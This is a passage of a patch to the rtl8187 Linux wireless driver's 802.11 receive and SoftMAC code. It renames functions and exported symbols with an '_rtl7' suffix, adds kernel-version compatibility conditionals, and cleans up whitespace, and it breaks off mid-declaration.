+676,7 @@ } #ifdef NOT_YET - if (hostap_rx_frame_wds(ieee, hdr, fc, &wds)) + if (hostap_rx_frame_wds_rtl7(ieee, hdr, fc, &wds)) goto rx_dropped; if (wds) { skb->dev = dev = wds; @@ -619,7 +689,7 @@ memcmp(hdr->addr2, ieee->assoc_ap_addr, ETH_ALEN) == 0) { /* Frame from BSSID of the AP for which we are a client */ skb->dev = dev = ieee->stadev; - stats = hostap_get_stats(dev); + stats = hostap_get_stats_rtl7(dev); from_assoc_ap = 1; } #endif @@ -630,7 +700,7 @@ if ((ieee->iw_mode == IW_MODE_MASTER || ieee->iw_mode == IW_MODE_REPEAT) && !from_assoc_ap) { - switch (hostap_handle_sta_rx(ieee, dev, skb, rx_stats, + switch (hostap_handle_sta_rx_rtl7(ieee, dev, skb, rx_stats, wds != NULL)) { case AP_RX_CONTINUE_NOT_AUTHORIZED: frame_authorized = 0; @@ -664,7 +734,7 @@ /* skb: hdr + (possibly fragmented, possibly encrypted) payload */ if (ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && - (keyidx = ieee80211_rx_frame_decrypt(ieee, skb, crypt)) < 0) + (keyidx = ieee80211_rx_frame_decrypt_rtl7(ieee, skb, crypt)) < 0) goto rx_dropped; hdr = (struct ieee80211_hdr *) skb->data; @@ -674,7 +744,7 @@ // ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && if ((frag != 0 || (fc & IEEE80211_FCTL_MOREFRAGS))) { int flen; - struct sk_buff *frag_skb = ieee80211_frag_cache_get(ieee, hdr); + struct sk_buff *frag_skb = ieee80211_frag_cache_get_rtl7(ieee, hdr); IEEE80211_DEBUG_FRAG("Rx Fragment received (%u)\n", frag); if (!frag_skb) { @@ -694,7 +764,7 @@ printk(KERN_WARNING "%s: host decrypted and " "reassembled frame did not fit skb\n", dev->name); - ieee80211_frag_cache_invalidate(ieee, hdr); + ieee80211_frag_cache_invalidate_rtl7(ieee, hdr); goto rx_dropped; } @@ -722,19 +792,19 @@ * delivered, so remove skb from fragment cache */ skb = frag_skb; hdr = (struct ieee80211_hdr *) skb->data; - ieee80211_frag_cache_invalidate(ieee, hdr); + ieee80211_frag_cache_invalidate_rtl7(ieee, hdr); } /* skb: hdr + (possible reassembled) full MSDU payload; possibly still * encrypted/authenticated */ if (ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && - ieee80211_rx_frame_decrypt_msdu(ieee, skb, keyidx, crypt)) + ieee80211_rx_frame_decrypt_msdu_rtl7(ieee, skb, keyidx, crypt)) goto rx_dropped; hdr = (struct ieee80211_hdr *) skb->data; if (crypt && !(fc & IEEE80211_FCTL_WEP) && !ieee->open_wep) { if (/*ieee->ieee802_1x &&*/ - ieee80211_is_eapol_frame(ieee, skb)) { + ieee80211_is_eapol_frame_rtl7(ieee, skb)) { #ifdef CONFIG_IEEE80211_DEBUG /* pass unencrypted EAPOL frames even if encryption is * configured */ @@ -763,7 +833,7 @@ #endif if (crypt && !(fc & IEEE80211_FCTL_WEP) && !ieee->open_wep && - !ieee80211_is_eapol_frame(ieee, skb)) { + !ieee80211_is_eapol_frame_rtl7(ieee, skb)) { IEEE80211_DEBUG_DROP( "dropped unencrypted RX data " "frame from " MAC_FMT @@ -861,7 +931,12 @@ if (skb2 != NULL) { /* send to wireless media */ skb2->protocol = __constant_htons(ETH_P_802_3); +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,22)) skb2->mac.raw = skb2->nh.raw = skb2->data; +#else + skb_reset_mac_header(skb2); + skb_reset_network_header(skb2); +#endif /* skb2->nh.raw = skb2->data + ETH_HLEN; */ skb2->dev = dev; dev_queue_xmit(skb2); @@ -896,7 +971,7 @@ #define MGMT_FRAME_FIXED_PART_LENGTH 0x24 -static inline int ieee80211_is_ofdm_rate(u8 rate) +static inline int ieee80211_is_ofdm_rate_rtl7(u8 rate) { switch (rate & ~IEEE80211_BASIC_RATE_MASK) { case IEEE80211_OFDM_RATE_6MB: @@ -913,7 +988,7 @@ } -static inline int ieee80211_network_init( +static inline int ieee80211_network_init_rtl7( struct ieee80211_device *ieee, struct ieee80211_probe_response *beacon, struct ieee80211_network *network, @@ -964,7 +1039,7 @@ switch (info_element->id) { case MFIE_TYPE_SSID: - if (ieee80211_is_empty_essid(info_element->data, + if (ieee80211_is_empty_essid_rtl7(info_element->data, info_element->len)) { network->flags |= NETWORK_EMPTY_ESSID; break; @@ -991,7 +1066,7 @@ #ifdef CONFIG_IEEE80211_DEBUG p += snprintf(p, sizeof(rates_str) - (p - rates_str), "%02X ", network->rates[i]); #endif - if (ieee80211_is_ofdm_rate(info_element->data[i])) { + if (ieee80211_is_ofdm_rate_rtl7(info_element->data[i])) { network->flags |= NETWORK_HAS_OFDM; if (info_element->data[i] & IEEE80211_BASIC_RATE_MASK) @@ -1014,7 +1089,7 @@ #ifdef CONFIG_IEEE80211_DEBUG p += snprintf(p, sizeof(rates_str) - (p - rates_str), "%02X ", network->rates[i]); #endif - if (ieee80211_is_ofdm_rate(info_element->data[i])) { + if (ieee80211_is_ofdm_rate_rtl7(info_element->data[i])) { network->flags |= NETWORK_HAS_OFDM; if (info_element->data[i] & IEEE80211_BASIC_RATE_MASK) @@ -1043,47 +1118,47 @@ break; case MFIE_TYPE_TIM: - - if(info_element->len < 4) + + if(info_element->len < 4) break; - + network->dtim_period = info_element->data[1]; - + if(ieee->state != IEEE80211_LINKED) break; - - network->last_dtim_sta_time[0] = stats->mac_time[0]; + + network->last_dtim_sta_time[0] = stats->mac_time[0]; network->last_dtim_sta_time[1] = stats->mac_time[1]; - + network->dtim_data = IEEE80211_DTIM_VALID; - - if(info_element->data[0] != 0) + + if(info_element->data[0] != 0) break; - + if(info_element->data[2] & 1) network->dtim_data |= IEEE80211_DTIM_MBCAST; - + offset = (info_element->data[2] >> 1)*2; - - //printk("offset1:%x aid:%x\n",offset, ieee->assoc_id); - - if(ieee->assoc_id < offset || + + //printk("offset1:%x aid:%x\n",offset, ieee->assoc_id); + + if(ieee->assoc_id < offset || ieee->assoc_id > 8*(offset + info_element->len -3)) - + break; - - + + offset = offset + ieee->assoc_id / 8;// + ((aid % 8)? 0 : 1) ; - - // printk("offset:%x data:%x, ucast:%d\n", offset, + + // printk("offset:%x data:%x, ucast:%d\n", offset, // info_element->data[3+offset] , // info_element->data[3+offset] & (1<<(ieee->assoc_id%8))); - + if(info_element->data[3+offset] & (1<<(ieee->assoc_id%8))) network->dtim_data |= IEEE80211_DTIM_UCAST; - + break; - + case MFIE_TYPE_IBSS_SET: IEEE80211_DEBUG_SCAN("MFIE_TYPE_IBSS_SET: ignored\n"); break; @@ -1115,7 +1190,7 @@ memcpy(network->rsn_ie, info_element, network->rsn_ie_len); break; - + default: IEEE80211_DEBUG_SCAN("unsupported IE %d\n", info_element->id); @@ -1147,7 +1222,7 @@ return 1; } - if (ieee80211_is_empty_essid(network->ssid, network->ssid_len)) + if (ieee80211_is_empty_essid_rtl7(network->ssid, network->ssid_len)) network->flags |= NETWORK_EMPTY_ESSID; memcpy(&network->stats, stats, sizeof(network->stats)); @@ -1155,24 +1230,24 @@ return 0; } -static inline int is_same_network(struct ieee80211_network *src, +static inline int is_same_network_rtl7(struct ieee80211_network *src, struct ieee80211_network *dst) { /* A network is only a duplicate if the channel, BSSID, ESSID - * and the capability field (in particular IBSS and BSS) all match. + * and the capability field (in particular IBSS and BSS) all match. * We treat all with the same BSSID and channel * as one network */ return ((src->ssid_len == dst->ssid_len) && (src->channel == dst->channel) && !memcmp(src->bssid, dst->bssid, ETH_ALEN) && !memcmp(src->ssid, dst->ssid, src->ssid_len) && - ((src->capability & WLAN_CAPABILITY_IBSS) == + ((src->capability & WLAN_CAPABILITY_IBSS) == (dst->capability & WLAN_CAPABILITY_IBSS)) && - ((src->capability & WLAN_CAPABILITY_BSS) == + ((src->capability & WLAN_CAPABILITY_BSS) == (dst->capability & WLAN_CAPABILITY_BSS))); } -static inline void update_network(struct ieee80211_network *dst, +static inline void update_network_rtl7(struct ieee80211_network *dst, struct ieee80211_network *src) { memcpy(&dst->stats, &src->stats, sizeof(struct ieee80211_rx_stats)); @@ -1194,7 +1269,7 @@ dst->dtim_data = src->dtim_data; dst->last_dtim_sta_time[0] = src->last_dtim_sta_time[0]; dst->last_dtim_sta_time[1] = src->last_dtim_sta_time[1]; - + memcpy(dst->wpa_ie, src->wpa_ie, src->wpa_ie_len); dst->wpa_ie_len = src->wpa_ie_len; memcpy(dst->rsn_ie, src->rsn_ie, src->rsn_ie_len); @@ -1204,7 +1279,7 @@ /* dst->last_associate is not overwritten */ } -static inline void ieee80211_process_probe_response( +static inline void ieee80211_process_probe_response_rtl7( struct ieee80211_device *ieee, struct ieee80211_probe_response *beacon, struct ieee80211_rx_stats *stats) @@ -1239,7 +1314,7 @@ (beacon->capability & (1<<0x1)) ? '1' : '0', (beacon->capability & (1<<0x0)) ? '1' : '0'); - if (ieee80211_network_init(ieee, beacon, &network, stats)) { + if (ieee80211_network_init_rtl7(ieee, beacon, &network, stats)) { IEEE80211_DEBUG_SCAN("Dropped '%s' (" MAC_FMT ") via %s.\n", escape_essid(info_element->data, info_element->len), @@ -1261,12 +1336,12 @@ * already there. */ spin_lock_irqsave(&ieee->lock, flags); - - if(is_same_network(&ieee->current_network, &network)) - update_network(&ieee->current_network, &network); - + + if(is_same_network_rtl7(&ieee->current_network, &network)) + update_network_rtl7(&ieee->current_network, &network); + list_for_each_entry(target, &ieee->network_list, list) { - if (is_same_network(target, &network)) + if (is_same_network_rtl7(target, &network)) break; if ((oldest == NULL) || @@ -1306,7 +1381,7 @@ memcpy(target, &network, sizeof(*target)); list_add_tail(&target->list, &ieee->network_list); if(ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) - ieee80211_softmac_new_net(ieee,&network); + ieee80211_softmac_new_net_rtl7(ieee,&network); } else { IEEE80211_DEBUG_SCAN("Updating '%s' (" MAC_FMT ") via %s.\n", escape_essid(target->ssid, @@ -1315,39 +1390,39 @@ WLAN_FC_GET_STYPE(beacon->header.frame_ctl) == IEEE80211_STYPE_PROBE_RESP ? "PROBE RESPONSE" : "BEACON"); - + /* we have an entry and we are going to update it. But this entry may - * be already expired. In this case we do the same as we found a new + * be already expired. In this case we do the same as we found a new * net and call the new_net handler */ renew = !time_after(target->last_scanned + ieee->scan_age, jiffies); - update_network(target, &network); + update_network_rtl7(target, &network); if(renew && (ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE)) - ieee80211_softmac_new_net(ieee,&network); + ieee80211_softmac_new_net_rtl7(ieee,&network); } spin_unlock_irqrestore(&ieee->lock, flags); } -void ieee80211_rx_mgt(struct ieee80211_device *ieee, +void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats) { switch (WLAN_FC_GET_STYPE(header->frame_ctl)) { - + case IEEE80211_STYPE_BEACON: IEEE80211_DEBUG_MGMT("received BEACON (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); IEEE80211_DEBUG_SCAN("Beacon\n"); - ieee80211_process_probe_response( + ieee80211_process_probe_response_rtl7( ieee, (struct ieee80211_probe_response *)header, stats); break; - + case IEEE80211_STYPE_PROBE_RESP: IEEE80211_DEBUG_MGMT("received PROBE RESPONSE (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); IEEE80211_DEBUG_SCAN("Probe response\n"); - ieee80211_process_probe_response( + ieee80211_process_probe_response_rtl7( ieee, (struct ieee80211_probe_response *)header, stats); break; @@ -1355,5 +1430,5 @@ } -EXPORT_SYMBOL(ieee80211_rx_mgt); -EXPORT_SYMBOL(ieee80211_rx); +EXPORT_SYMBOL(ieee80211_rx_mgt_rtl7); +EXPORT_SYMBOL(ieee80211_rx_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_softmac.c rtl8187_rawtx/ieee80211/ieee80211_softmac.c --- rtl8187_orig/ieee80211/ieee80211_softmac.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_softmac.c 2007-07-13 01:46:05.000000000 +0200 @@ -1,14 +1,14 @@ /* IEEE 802.11 SoftMAC layer * Copyright (c) 2005 Andrea Merello * - * Mostly extracted from the rtl8180-sa2400 driver for the + * Mostly extracted from the rtl8180-sa2400 driver for the * in-kernel generic ieee802.11 stack. * * Few lines might be stolen from other part of the ieee80211 * stack. Copyright who own it's copyright * * WPA code stolen from the ipw2200 driver. - * Copyright who own it's copyright. + * Copyright who own it's copyright. * * released under the GPL */ @@ -20,12 +20,12 @@ #include #include -short ieee80211_is_54g(struct ieee80211_network net) +short ieee80211_is_54g_rtl7(struct ieee80211_network net) { return ((net.rates_ex_len > 0) || (net.rates_len > 4)); } -short ieee80211_is_shortslot(struct ieee80211_network net) +short ieee80211_is_shortslot_rtl7(struct ieee80211_network net) { return (net.capability & WLAN_CAPABILITY_SHORT_SLOT); } @@ -34,28 +34,28 @@ * tag and the EXTENDED RATE MFIE tag if needed. * It encludes two bytes per tag for the tag itself and its len */ -unsigned int ieee80211_MFIE_rate_len(struct ieee80211_device *ieee) +unsigned int ieee80211_MFIE_rate_len_rtl7(struct ieee80211_device *ieee) { unsigned int rate_len = 0; - + if (ieee->modulation & IEEE80211_CCK_MODULATION) rate_len = IEEE80211_CCK_RATE_LEN + 2; - + if (ieee->modulation & IEEE80211_OFDM_MODULATION) - + rate_len += IEEE80211_OFDM_RATE_LEN + 2; - + return rate_len; } -/* pleace the MFIE rate, tag to the memory (double) poined. +/* pleace the MFIE rate, tag to the memory (double) poined. * Then it updates the pointer so that * it points after the new MFIE tag added. - */ -void ieee80211_MFIE_Brate(struct ieee80211_device *ieee, u8 **tag_p) + */ +void ieee80211_MFIE_Brate_rtl7(struct ieee80211_device *ieee, u8 **tag_p) { - u8 *tag = *tag_p; - + u8 *tag = *tag_p; + if (ieee->modulation & IEEE80211_CCK_MODULATION){ *tag++ = MFIE_TYPE_RATES; *tag++ = 4; @@ -64,17 +64,17 @@ *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_5MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_11MB; } - + /* We may add an option for custom rates that specific HW might support */ *tag_p = tag; } -void ieee80211_MFIE_Grate(struct ieee80211_device *ieee, u8 **tag_p) -{ - u8 *tag = *tag_p; - +void ieee80211_MFIE_Grate_rtl7(struct ieee80211_device *ieee, u8 **tag_p) +{ + u8 *tag = *tag_p; + if (ieee->modulation & IEEE80211_OFDM_MODULATION){ - + *tag++ = MFIE_TYPE_RATES_EX; *tag++ = 8; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_6MB; @@ -85,73 +85,73 @@ *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_36MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_48MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_54MB; - + } - + /* We may add an option for custom rates that specific HW might support */ *tag_p = tag; } -void enqueue_mgmt(struct ieee80211_device *ieee, struct sk_buff *skb) +void enqueue_mgmt_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { int nh; nh = (ieee->mgmt_queue_head +1) % MGMT_QUEUE_NUM; - + /* * if the queue is full but we have newer frames then * just overwrites the oldest. - * + * * if (nh == ieee->mgmt_queue_tail) * return -1; - */ + */ ieee->mgmt_queue_head = nh; ieee->mgmt_queue_ring[nh] = skb; - + //return 0; } -struct sk_buff *dequeue_mgmt(struct ieee80211_device *ieee) +struct sk_buff *dequeue_mgmt_rtl7(struct ieee80211_device *ieee) { struct sk_buff *ret; - + if(ieee->mgmt_queue_tail == ieee->mgmt_queue_head) return NULL; - + ret = ieee->mgmt_queue_ring[ieee->mgmt_queue_tail]; - - ieee->mgmt_queue_tail = + + ieee->mgmt_queue_tail = (ieee->mgmt_queue_tail+1) % MGMT_QUEUE_NUM; - + return ret; } -void init_mgmt_queue(struct ieee80211_device *ieee) +void init_mgmt_queue_rtl7(struct ieee80211_device *ieee) { ieee->mgmt_queue_tail = ieee->mgmt_queue_head = 0; } -void ieee80211_sta_wakeup(struct ieee80211_device *ieee, short nl); +void ieee80211_sta_wakeup_rtl7(struct ieee80211_device *ieee, short nl); -inline void softmac_mgmt_xmit(struct sk_buff *skb, struct ieee80211_device *ieee) +inline void softmac_mgmt_xmit_rtl7(struct sk_buff *skb, struct ieee80211_device *ieee) { unsigned long flags; short single = ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE; struct ieee80211_hdr_3addr *header= (struct ieee80211_hdr_3addr *) skb->data; - - + + spin_lock_irqsave(&ieee->lock, flags); - + /* called with 2nd param 0, no mgmt lock required */ - ieee80211_sta_wakeup(ieee,0); - + ieee80211_sta_wakeup_rtl7(ieee,0); + if(single){ - + if(ieee->queue_stop){ - - enqueue_mgmt(ieee,skb); - + + enqueue_mgmt_rtl7(ieee,skb); + }else{ header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); @@ -159,119 +159,119 @@ ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + /* avoid watchdog triggers */ ieee->dev->trans_start = jiffies; ieee->softmac_data_hard_start_xmit(skb,ieee->dev,ieee->basic_rate); } - + spin_unlock_irqrestore(&ieee->lock, flags); }else{ spin_unlock_irqrestore(&ieee->lock, flags); spin_lock_irqsave(&ieee->mgmt_tx_lock, flags); - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + ieee->softmac_hard_start_xmit(skb,ieee->dev); - + spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags); } } -inline void softmac_ps_mgmt_xmit(struct sk_buff *skb, struct ieee80211_device *ieee) +inline void softmac_ps_mgmt_xmit_rtl7(struct sk_buff *skb, struct ieee80211_device *ieee) { - + short single = ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE; struct ieee80211_hdr_3addr *header = (struct ieee80211_hdr_3addr *) skb->data; - - + + if(single){ - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + /* avoid watchdog triggers */ ieee->dev->trans_start = jiffies; ieee->softmac_data_hard_start_xmit(skb,ieee->dev,ieee->basic_rate); - + }else{ - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; ieee->softmac_hard_start_xmit(skb,ieee->dev); - + } } -inline struct sk_buff *ieee80211_probe_req(struct ieee80211_device *ieee) +inline struct sk_buff *ieee80211_probe_req_rtl7(struct ieee80211_device *ieee) { unsigned int len,rate_len; u8 *tag; struct sk_buff *skb; struct ieee80211_probe_request *req; - + len = ieee->current_network.ssid_len; - - rate_len = ieee80211_MFIE_rate_len(ieee); - + + rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); + skb = dev_alloc_skb(sizeof(struct ieee80211_probe_request) + 2 + len + rate_len); - - if (!skb) + + if (!skb) return NULL; - + req = (struct ieee80211_probe_request *) skb_put(skb,sizeof(struct ieee80211_probe_request)); req->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_PROBE_REQ); - req->header.duration_id = 0; //FIXME: is this OK ? - + req->header.duration_id = 0; //FIXME: is this OK ? + memset(req->header.addr1, 0xff, ETH_ALEN); memcpy(req->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memset(req->header.addr3, 0xff, ETH_ALEN); - + tag = (u8 *) skb_put(skb,len+2+rate_len); - + *tag++ = MFIE_TYPE_SSID; *tag++ = len; memcpy(tag, ieee->current_network.ssid, len); tag += len; - - ieee80211_MFIE_Brate(ieee,&tag); - ieee80211_MFIE_Grate(ieee,&tag); + + ieee80211_MFIE_Brate_rtl7(ieee,&tag); + ieee80211_MFIE_Grate_rtl7(ieee,&tag); return skb; } -struct sk_buff *ieee80211_get_beacon_(struct ieee80211_device *ieee); -void ieee80211_send_beacon(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon__rtl7(struct ieee80211_device *ieee); +void ieee80211_send_beacon_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; - - unsigned long flags; - - skb = ieee80211_get_beacon_(ieee); + + unsigned long flags; + + skb = ieee80211_get_beacon__rtl7(ieee); if (skb){ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->softmac_stats.tx_beacons++; } - ieee->beacon_timer.expires = jiffies + + ieee->beacon_timer.expires = jiffies + (MSECS( ieee->current_network.beacon_interval -5)); - + spin_lock_irqsave(&ieee->beacon_lock,flags); if(ieee->beacon_txing) add_timer(&ieee->beacon_timer); @@ -279,57 +279,57 @@ } -void ieee80211_send_beacon_cb(unsigned long _ieee) +void ieee80211_send_beacon_cb_rtl7(unsigned long _ieee) { struct ieee80211_device *ieee = (struct ieee80211_device *) _ieee; - ieee80211_send_beacon(ieee); + ieee80211_send_beacon_rtl7(ieee); } -void ieee80211_send_probe(struct ieee80211_device *ieee) +void ieee80211_send_probe_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; - - skb = ieee80211_probe_req(ieee); + + skb = ieee80211_probe_req_rtl7(ieee); if (skb){ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->softmac_stats.tx_probe_rq++; } } -void ieee80211_send_probe_requests(struct ieee80211_device *ieee) +void ieee80211_send_probe_requests_rtl7(struct ieee80211_device *ieee) { if (ieee->active_scan && (ieee->softmac_features & IEEE_SOFTMAC_PROBERQ)){ - ieee80211_send_probe(ieee); - ieee80211_send_probe(ieee); + ieee80211_send_probe_rtl7(ieee); + ieee80211_send_probe_rtl7(ieee); } } /* this performs syncro scan blocking the caller until all channels - * in the allowed channel map has been checked. + * in the allowed channel map has been checked. */ -void ieee80211_softmac_scan_syncro(struct ieee80211_device *ieee) +void ieee80211_softmac_scan_syncro_rtl7(struct ieee80211_device *ieee) { short ch = 0; - + down(&ieee->scan_sem); - + while(1) { - + do{ ch++; - if (ch > MAX_CHANNEL_NUMBER) + if (ch > MAX_CHANNEL_NUMBER) goto out; /* scan completed */ - + }while(!ieee->channel_map[ch]); - + /* this fuction can be called in two situations * 1- We have switched to ad-hoc mode and we are * performing a complete syncro scan before conclude - * there are no interesting cell and to create a - * new one. In this case the link state is + * there are no interesting cell and to create a + * new one. In this case the link state is * IEEE80211_NOLINK until we found an interesting cell. * If so the ieee8021_new_net, called by the RX path * will set the state to IEEE80211_LINKED, so we stop @@ -342,24 +342,24 @@ * not filter RX frames and the channel is changing. * So the only situation in witch are interested is to check * if the state become LINKED because of the #1 situation - */ - + */ + if (ieee->state == IEEE80211_LINKED) goto out; - + ieee->set_chan(ieee->dev, ch); - - ieee80211_send_probe_requests(ieee); - + + ieee80211_send_probe_requests_rtl7(ieee); + /* this prevent excessive time wait when we * need to wait for a syncro scan to end.. - */ + */ if (ieee->sync_scan_hurryup) goto out; msleep_interruptible_rtl(IEEE80211_SOFTMAC_SCAN_TIME); - + } out: ieee->sync_scan_hurryup = 0; @@ -370,43 +370,49 @@ void ieee80211_softmac_scan(struct ieee80211_device *ieee) { short watchdog = 0; - + do{ - ieee->current_network.channel = + ieee->current_network.channel = (ieee->current_network.channel + 1) % MAX_CHANNEL_NUMBER; - if (watchdog++ > MAX_CHANNEL_NUMBER) + if (watchdog++ > MAX_CHANNEL_NUMBER) return; /* no good chans */ - + }while(!ieee->channel_map[ieee->current_network.channel]); - + schedule_work(&ieee->softmac_scan_wq); } #endif -void ieee80211_softmac_scan_wq(struct ieee80211_device *ieee) -{ - down(&ieee->scan_sem); - +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_softmac_scan_wq_rtl7(struct work_struct *work) +{ + struct delayed_work *dwork = container_of(work, struct delayed_work, work); + struct ieee80211_device *ieee = container_of(dwork, struct ieee80211_device, softmac_scan_wq); +#else +void ieee80211_softmac_scan_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif short watchdog = 0; - + down(&ieee->scan_sem); + do{ - ieee->current_network.channel = + ieee->current_network.channel = (ieee->current_network.channel + 1) % MAX_CHANNEL_NUMBER; - if (watchdog++ > MAX_CHANNEL_NUMBER) + if (watchdog++ > MAX_CHANNEL_NUMBER) goto out; /* no good chans */ - + }while(!ieee->channel_map[ieee->current_network.channel]); - + if (ieee->scanning == 0 ) goto out; - + ieee->set_chan(ieee->dev, ieee->current_network.channel); - ieee80211_send_probe_requests(ieee); + ieee80211_send_probe_requests_rtl7(ieee); -#if 0 +#if 0 ieee->.expires = jiffies + (IEEE80211_SOFTMAC_SCAN_TIME); - if (ieee->scanning == 1) + if (ieee->scanning == 1) add_timer(&ieee->scan_timer); #endif queue_delayed_work(ieee->wq, &ieee->softmac_scan_wq, IEEE80211_SOFTMAC_SCAN_TIME); @@ -419,7 +425,7 @@ { unsigned long flags; struct ieee80211_device *ieee = (struct ieee80211_device *)_dev; - + spin_lock_irqsave(&ieee->lock, flags); ieee80211_softmac_scan(ieee); spin_unlock_irqrestore(&ieee->lock, flags); @@ -427,19 +433,19 @@ #endif -void ieee80211_beacons_start(struct ieee80211_device *ieee) +void ieee80211_beacons_start_rtl7(struct ieee80211_device *ieee) { - unsigned long flags; + unsigned long flags; spin_lock_irqsave(&ieee->beacon_lock,flags); ieee->beacon_txing = 1; - ieee80211_send_beacon(ieee); - + ieee80211_send_beacon_rtl7(ieee); + spin_unlock_irqrestore(&ieee->beacon_lock,flags); } -void ieee80211_beacons_stop(struct ieee80211_device *ieee) +void ieee80211_beacons_stop_rtl7(struct ieee80211_device *ieee) { unsigned long flags; @@ -453,111 +459,111 @@ } -void ieee80211_stop_send_beacons(struct ieee80211_device *ieee) +void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee) { if(ieee->stop_send_beacons) ieee->stop_send_beacons(ieee->dev); if (ieee->softmac_features & IEEE_SOFTMAC_BEACONS) - ieee80211_beacons_stop(ieee); + ieee80211_beacons_stop_rtl7(ieee); } -void ieee80211_start_send_beacons(struct ieee80211_device *ieee) +void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee) { if(ieee->start_send_beacons) ieee->start_send_beacons(ieee->dev); if(ieee->softmac_features & IEEE_SOFTMAC_BEACONS) - ieee80211_beacons_start(ieee); + ieee80211_beacons_start_rtl7(ieee); } -void ieee80211_softmac_stop_scan(struct ieee80211_device *ieee) +void ieee80211_softmac_stop_scan_rtl7(struct ieee80211_device *ieee) { -// unsigned long flags; - +// unsigned long flags; + //ieee->sync_scan_hurryup = 1; - + down(&ieee->scan_sem); // spin_lock_irqsave(&ieee->lock, flags); - + if (ieee->scanning == 1){ ieee->scanning = 0; //del_timer_sync(&ieee->scan_timer); cancel_delayed_work(&ieee->softmac_scan_wq); } - + // spin_unlock_irqrestore(&ieee->lock, flags); up(&ieee->scan_sem); } -void ieee80211_stop_scan(struct ieee80211_device *ieee) +void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee) { if (ieee->softmac_features & IEEE_SOFTMAC_SCAN) - ieee80211_softmac_stop_scan(ieee); + ieee80211_softmac_stop_scan_rtl7(ieee); else ieee->stop_scan(ieee->dev); } /* called with ieee->lock held */ -void ieee80211_start_scan(struct ieee80211_device *ieee) +void ieee80211_start_scan_rtl7(struct ieee80211_device *ieee) { - if (ieee->softmac_features & IEEE_SOFTMAC_SCAN){ + if (ieee->softmac_features & IEEE_SOFTMAC_SCAN){ if (ieee->scanning == 0){ ieee->scanning = 1; //ieee80211_softmac_scan(ieee); - queue_work(ieee->wq, &ieee->softmac_scan_wq); + queue_delayed_work(ieee->wq, &ieee->softmac_scan_wq, 0); } }else ieee->start_scan(ieee->dev); - + } /* called with wx_sem held */ -void ieee80211_start_scan_syncro(struct ieee80211_device *ieee) +void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 0; - + if (ieee->softmac_features & IEEE_SOFTMAC_SCAN) - ieee80211_softmac_scan_syncro(ieee); + ieee80211_softmac_scan_syncro_rtl7(ieee); else ieee->scan_syncro(ieee->dev); - + } -inline struct sk_buff *ieee80211_authentication_req(struct ieee80211_network *beacon, +inline struct sk_buff *ieee80211_authentication_req_rtl7(struct ieee80211_network *beacon, struct ieee80211_device *ieee, int challengelen) { - struct sk_buff *skb; + struct sk_buff *skb; struct ieee80211_authentication *auth; - - skb = dev_alloc_skb(sizeof(struct ieee80211_authentication) + challengelen); - + + skb = dev_alloc_skb(sizeof(struct ieee80211_authentication) + challengelen); + if (!skb) return NULL; - + auth = (struct ieee80211_authentication *) skb_put(skb, sizeof(struct ieee80211_authentication)); - + auth->header.frame_ctl = IEEE80211_STYPE_AUTH; if (challengelen) auth->header.frame_ctl |= IEEE80211_FCTL_WEP; - + auth->header.duration_id = 0x013a; //FIXME - + memcpy(auth->header.addr1, beacon->bssid, ETH_ALEN); memcpy(auth->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr3, beacon->bssid, ETH_ALEN); - + auth->algorithm = ieee->open_wep ? WLAN_AUTH_OPEN : WLAN_AUTH_SHARED_KEY; - + auth->transaction = cpu_to_le16(ieee->associate_seq); ieee->associate_seq++; - + auth->status = cpu_to_le16(WLAN_STATUS_SUCCESS); - + return skb; - + } -static struct sk_buff* ieee80211_probe_resp(struct ieee80211_device *ieee, u8 *dest) +static struct sk_buff* ieee80211_probe_resp_rtl7(struct ieee80211_device *ieee, u8 *dest) { u8 